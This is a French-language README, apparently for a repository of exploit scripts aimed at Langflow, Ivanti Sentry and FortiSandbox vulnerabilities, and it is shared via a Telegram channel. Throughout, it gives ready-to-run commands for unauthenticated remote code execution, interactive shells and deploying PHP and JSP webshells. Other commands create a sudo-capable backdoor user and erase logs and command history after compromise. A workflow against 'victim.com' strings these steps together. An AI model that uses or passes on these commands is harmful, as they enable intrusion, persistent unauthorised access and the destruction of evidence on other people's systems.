(CVE-2026-5027) et (CVE-2026-10520) (CVE-2026-25089) exploiteur :

Clone

git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow

Usage du fichier (exploit.py)

Test et exploitation automatiques.

python3 exploit.py -u https://target.com

Paramètres CLI personnalisés

Utilisez votre propre webshell lorsque le shell se trouve dans un dossier :

python3 exploit.py -u https://target.com --shell 

(📁shells/my-shell.php)

Lorsque le shell se trouve dans le dossier de l'outil ou directement dans le terminal sans dossier :

python3 exploit.py -u https://target.com --shell my-shell.php

Votre webshell peut être (PHP, Python (CGI), Perl, Ruby, ASPX).

Vous pouvez définir un timeout avec --t et charger/utiliser un payload ou un chemin personnalisé depuis des dossiers et fichiers avec --p :

python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |

Exemple :

python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt

Usage du fichier (exploitt.py)

Conçu pour les CVE suivantes :

· CVE-2026-10520 (CVSS 10.0)

· CVE-2026-25089 (CVSS 9.1)

Exécution de code à distance sans authentification préalable

Aucun identifiant requis.

📖 Utilisation

Démarrage rapide – menu interactif (sans arguments)

python3 exploitt.py

Suivez ensuite les invites :

1. Choisir le type de cible (Ivanti ou Forti)

2. Saisir l'URL de la cible (ex. https://192.168.1.100:8443)
3. Définir le timeout, le proxy, le mode debug
4. Choisir l'action (commande, shell, webshell, etc.)

Ligne de commande (avancé)

1. Ivanti Sentry (CVE-2026-10520)

# Vérifier si vulnérable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"

# Shell interactif
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s

# Déployer un webshell JSP (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w

# Créer un utilisateur backdoor + nettoyer les logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean

2. FortiSandbox (CVE-2026-25089)

# Commande unique
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"

# Shell interactif avec téléversement de fichier
python3 exploitt.py -u https://forti.example.com --type forti -s
# Dans le shell : upload /path/local.txt /remote/path.txt

# Déployer un webshell PHP
python3 exploitt.py -u https://forti.example.com --type forti -w

# Auto‑pwn complet (check, shell, webshell, persistance, nettoyage)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean

3. Détection automatique (le script devine le service)

python3 exploitt.py -u https://target.example.com -c "id"

4. Utiliser un proxy et le mode debug

python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"

Arguments disponibles en ligne de commande

Argument Description -u, --url URL de la cible (ex. https://192.168.1.100:8443) --type Forcer le service : ivanti ou forti (optionnel, détection automatique) -t, --timeout Délai d'attente de la requête en secondes (défaut 30) --proxy Proxy HTTP/HTTPS (ex. http://127.0.0.1:8080) -d, --debug Activer les sorties de débogage --ua Chaîne User‑Agent personnalisée -c, --cmd Exécuter une seule commande puis quitter -s, --shell Lancer un shell interactif -w, --webshell Déployer un webshell (PHP pour Forti, JSP pour Ivanti) -p, --persist Créer un utilisateur backdoor persistant avec sudo --clean Effacer les logs et l'historique des commandes après exploitation

Commandes du shell interactif

Dans le shell interactif, vous pouvez utiliser :

Commande Exemple Description normal command id Exécuter n'importe quelle commande système upload upload exploit.sh /tmp/backdoor.sh Téléverser un fichier local vers l'hôte distant exit exit Quitter le shell

Détails du déploiement du webshell

· Ivanti Sentry – déploie un shell .jsp dans les webapps Tomcat (/usr/local/tomcat/webapps/ROOT/) · Accès via https://target/shell_random.jsp?cmd=whoami · FortiSandbox – déploie un shell .php dans la racine web (/var/www/html/) · Accès via https://target/shell_random.php?cmd=whoami

Exemple de workflow (test de pénétration complet)

# 1. Détecter et exploiter
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s

# 2. Dans le shell, vérifier les privilèges
id

# 3. Déployer un webshell pour la persistance
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w

# 4. Créer un utilisateur backdoor
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p

# 5. Nettoyer les logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean

Par le canal Telegram Red :

https://t.me/Red_Rooted_Ghost